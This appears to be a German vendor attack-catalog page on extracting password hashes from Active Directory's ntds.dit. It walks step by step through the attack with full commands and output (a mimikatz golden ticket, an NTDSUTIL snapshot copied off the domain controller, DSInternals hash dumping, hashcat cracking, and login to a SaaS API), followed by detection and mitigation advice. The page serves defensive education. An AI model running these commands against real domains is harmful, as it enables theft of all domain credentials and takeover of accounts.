Magic Quadrant™ für Privileged Access Management 2025: Netwrix zum vierten Jahr in Folge anerkannt. Laden Sie den Bericht herunter.

Plattform
Glossar zur cybersicherheitAngriffskatalog
NTDS.dit-Passwortextraktionsangriff

NTDS.dit-Passwortextraktionsangriff

Alle Daten in Active Directory werden in der Datei ntds.dit („das dit“) auf jedem Domain-Controller (standardmäßig in C:\Windows\NTDS\ ) gespeichert. Angreifer können die Passwort-Hashes direkt aus dem dit verwenden, um ihre Ziele voranzutreiben. Das Knacken von Benutzerpasswörtern ist vorteilhaft, selbst wenn ein Gegner bereits die Kontrolle über die Domain erlangt hat, da Benutzer häufig Passwörter über domänenverbundene und nicht-domänenverbundene Systeme und Anwendungen hinweg wiederverwenden.

Um Zugriff auf die Datei ntds.dit auf einem Domain-Controller zu erhalten, muss ein Angreifer bereits Administratorzugriff auf Active Directory erlangt haben. Alternativ könnte ein Angreifer die Unternehmens-Backup-Lösung kompromittieren, die für die Sicherung von Domain-Controllern verantwortlich ist, und ntds.dit aus einem Backup kopieren. Die meisten Organisationen wechseln das krbtgt -Geheimnis (siehe den Golden Ticket attack) nicht häufig, daher können auch ältere Backups nützlich sein.

Bedrohungszusammenfassung

Ziel: Active Directory

Tools: DSInternals, ntdsxtract, PowerSploit, mimikatz

ATT&CK® Taktik: Credential Access

ATT&CK-Technik: T1003.003

Schwierigkeit

Erkennung: Mittel

Milderung: Mittel

Antwort: Hard

Angriffs-Tutorial: Wie die Passwortextraktion von NTDS.dit funktioniert

SCHRITT 1: Erforderliche Privilegien erhalten

Ein Angreifer muss Zugriff auf das Dateisystem eines Domain-Controllers besitzen, bevor er in der Lage ist, ntds.dit zu extrahieren. Da diese Anforderung die Extraktion von ntds.dit zu einem Angriff in einem späten Stadium macht, könnte ein Angreifer einen zuvor kompromittierten Passwort-Hash für das Computerkonto eines Domain-Controllers verwenden, um ein Silver Ticket zu erstellen.
Im folgenden Beispiel verwendet der Angreifer mimikatz um über ein Golden Ticket Zugriff auf das Dateisystem eines Domain-Controllers zu erhalten.

      PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"

User: FakeUser1

Domain: domain.com (DOMAIN)

SID: S-1-5-21-441320023-234525631-506766575

User Id: 0

Groups Id : *513 512 520 518 519

ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt

Service: HOST

Target: DC1.domain.com

Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28

-> Ticket : ** Pass The Ticket **

* PAC generated

* PAC signed

* EncTicketPart generated

* EncTicketPart encrypted

* KrbCred generated

Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session

mimikatz # misc::cmd

Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320

# A new command prompt window opens

C:\Windows\System32>
      

SCHRITT 2: Exfiltrieren von ntds.dit

Mit Zugriff auf das Dateisystem eines Domain-Controllers kann der Angreifer ntds.dit sowie den HKEY_LOCAL_MACHINE\SYSTEM-Registrierungsschlüssel exfiltrieren, der benötigt wird, um den Boot Key zum Entschlüsseln von ntds.dit zu erhalten.

Beachten Sie, dass Active Directory während des Betriebs eine Dateisystemsperre auf die ntds.dit-Datei aufrechterhält, sodass Versuche, sie zu kopieren, fehlschlagen werden. Angreifer haben mehrere Möglichkeiten, diese Einschränkung zu umgehen; insbesondere können sie:

  • Stoppen Sie einfach Active Directory (obwohl dies wahrscheinlich entdeckt wird).
  • Verwenden Sie den Volume Shadow Copy Service (VSS), um einen Schnappschuss des Volumes zu erstellen und ntds.dit aus dem Schnappschuss zu extrahieren.
  • Verwenden Sie ein PowerShell-Tool wie PowerSploit’s Invoke-NinjaCopy, um die Dateien zu kopieren, auch wenn sie in Gebrauch sind.
  • Verwenden Sie ein integriertes Tool wie DSDBUtil.exe oder NTDSUtil.exe, um Installationsmedien-Dateien für Active Directory zu erstellen.
      PS> .\PSExec.exe \\dc1.domain.com cmd

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.1339]

(c) 2018 Microsoft Corporation. All rights reserved.

DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"

NTDSUTIL: Activate Instance NTDS

Active instance set to "NTDS".

NTDSUTIL: IFM

ifm: Create Full S:\Files

Creating snapshot...

Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\

Initiating DEFRAGMENTATION mode...

Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit

Target Database: S:\Files\Active Directory\ntds.dit

DefragmentationStatus (Complete)

0102030405060708090100

|----|----|----|----|----|----|----|----|----|----|

...................................................

Copying registry files...

Copying S:\Files\registry\SYSTEM

Copying S:\Files\registry\SECURITY

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.

IFM media created successfully in S:\Files

ifm: q

NTDSUTIL: q

DC1 > Copy S:\Files \\wks2\Share



      

SCHRITT 3: Extrahieren Sie die Passwort-Hashes

Sobald der Angreifer ntds.dit und den HKLM\SYSTEM-Registrierungsschlüssel exfiltriert hat, benötigen sie keinen Zugriff mehr auf das Netzwerk der Organisation. Ein Angreifer, der daran interessiert ist, die Passwörter zu knacken, wird oft einen Brute-Force-Angriff mit einem dafür optimierten Computer durchführen wollen, aber zuerst müssen sie die Hashes aus ntds.dit extrahieren. Das DSInternals PowerShell-Modul stellt die Cmdlets Get-BootKey und Get-ADDBAccount für diesen Zweck zur Verfügung.

      $Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM

Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |

Format-Custom -View HashcatNT |

Out-File C:\Hashdump.txt

PS> Get-Content C:\Hashdump.txt

f8ae01fc52f45dda7baf7a67721665f1

eed224b4784bb040aab50b8856fe9f02

# --- Output Truncated --- #
      

SCHRITT 4: Verwenden Sie die Passwort-Hashes, um weitere Ziele zu erreichen

Der Angreifer kann nun die Passworthashes in Pass-the-Hash-Angriffen innerhalb der Umgebung nutzen (vielleicht als Mittel zur Persistenz). Wahrscheinlicher ist jedoch, dass sie versuchen werden, diese Passwörter zu knacken, um sie in Credential-Stuffing-Angriffen gegen nicht domänenverbundene Systeme zu verwenden. In diesem Beispiel knackt der Angreifer die Hashes, um Klartextpasswörter zu erhalten und verwendet diese, um sich bei der API einer SaaS-Anwendung zu authentifizieren.

      PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1

Session..........: hashcat

Status...........: Running

Hash.Name........: NTLM

Hash.Target......: .\Hashdump.txt

Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)

Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)

Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]

Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined

Guess.Queue......: 1/1 (100.00%)

Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1

Recovered........: 1/41 (2.44%) Digests

Progress.........: 189030831226880/218340105584896 (86.58%)

Rejected.........: 0/189030831226880 (0.00%)

Restore.Point....: 793149440/916132832 (86.58%)

Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256

Candidates.#1....: TNAZRwMl -> FYNkI2Jx

Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16

PS> Get-Content .\cracked.txt

852e811a65d732c83214b4ff705d777a:F8qN47F1

PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API

PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked

PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt

PS>$Object = New-Object -TypeName psobject

PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username

PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password

PS>$url = "https://service.url/api/login"

PS>$body = $Object | ConvertTo-Json

PS>$Header = @{ "accept" = "text/json"}

PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"

PS>$Headers = @{ 'Authorization' = "Bearer $Response" }

PS>$url = "https://service.url/api/DoThings"

PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers

PS>$Response

{ "statusCode": 200, "statusMessage": "Things Done!" }
      

Erkennen, Minderung und Reaktion

Erkennen

Schwierigkeitsgrad: Mittel

Versuche, auf ntds.dit zuzugreifen, können mit dem Windows-Ereignisprotokoll erkannt werden. Ereignis-IDs 4663 und 4656 der Kategorie Audit File System können verwendet werden, um den Dateisystemzugriff zu überwachen. Nutzen Sie diese Ereignisse, um sowohl reguläre als auch Volume Shadow Copy Versuche zu überwachen, die ntds.dit lesen oder verändern möchten.

Mildern

Schwierigkeitsgrad: Mittel

Um das Risiko des Passwort-Extrahierens aus ntds.dit zu mindern, nutzen Sie die folgenden Best Practices, um sicherzustellen, dass Gegner nicht die notwendigen Privilegien erhalten, um Domain-Controller von vornherein zu kompromittieren:

  • Führen Sie regelmäßig Audits des administrativen Zugriffs auf Active Directory durch, einschließlich der Rechte für Gruppenrichtlinien und der Auditkonfiguration für Anmeldungen an Domänencontrollern.
  • Befolgen Sie streng das Prinzip der clean source principle für Domain-Controller: Die gesamte Infrastruktur (z. B. ESX und angeschlossener Speicher), auf der Domain-Controller residieren oder Anwendungen, die Domain-Controller bedienen (wie Backup-Lösungen), müssen auf demselben Sicherheitsniveau wie die Domain-Controller selbst betrieben werden.
  • Stellen Sie die physische Sicherheit der Domain-Controller-Maschinen sicher. Wenn die physische Sicherheit nicht gewährleistet werden kann, erwägen Sie den Einsatz von schreibgeschützten Domain-Controllern, um die Gefährdung von Passwörtern zu begrenzen.
  • Erlauben Sie es Benutzern nicht, administrative Privilegien über Sicherheitsgrenzen hinweg zu besitzen. Zum Beispiel sollte ein Angreifer, der zunächst eine Workstation kompromittiert, nicht in der Lage sein, Privilegien zu eskalieren, um von einer Workstation auf einen Server oder Domain-Controller zu wechseln.

Antworten

Schwierigkeitsgrad: Schwer

Wenn ein Kompromittieren von ntds.dit erwartet wird, muss auch von einem vollständigen Kompromiss von Active Directory ausgegangen werden; insbesondere sollte angenommen werden, dass das krbtgt-Geheimnis ebenfalls kompromittiert wurde. Ergreifen Sie folgende Maßnahmen:

  • Aktivieren Sie den Incident-Response-Prozess und alarmieren Sie das Reaktionsteam. Die Wiederherstellung nach einem vollständigen Kompromiss von Active Directory erfordert erhebliche Planung und Aufwand.

Teilen auf

Zugehörige Cybersecurity-Angriffe anzeigen

Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien

AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien

AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien

Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien

DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security

Angriffe auf Group Managed Service Accounts

Golden SAML-Angriff

Verständnis von Golden Ticket-Angriffen

DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien

ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen

Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien

Pass-the-Hash-Angriff

Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien

Password-Spraying-Angriff

Angriff zur Extraktion von Klartext-Passwörtern

Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung

Ransomware-Angriffe auf Active Directory

Active Directory mit dem Skeleton Key-Angriff entsperren

Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen

Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert

Warum ist PowerShell so beliebt bei Angreifern?

4 Angriffe auf Dienstkonten und wie man sich dagegen schützt

Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen

Was ist Credential Stuffing?

Kompromittierung von SQL Server mit PowerUpSQL

Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen

Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)

Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt

LDAP-Aufklärung

Umgehen der MFA mit dem Pass-the-Cookie-Angriff

Silver Ticket Attack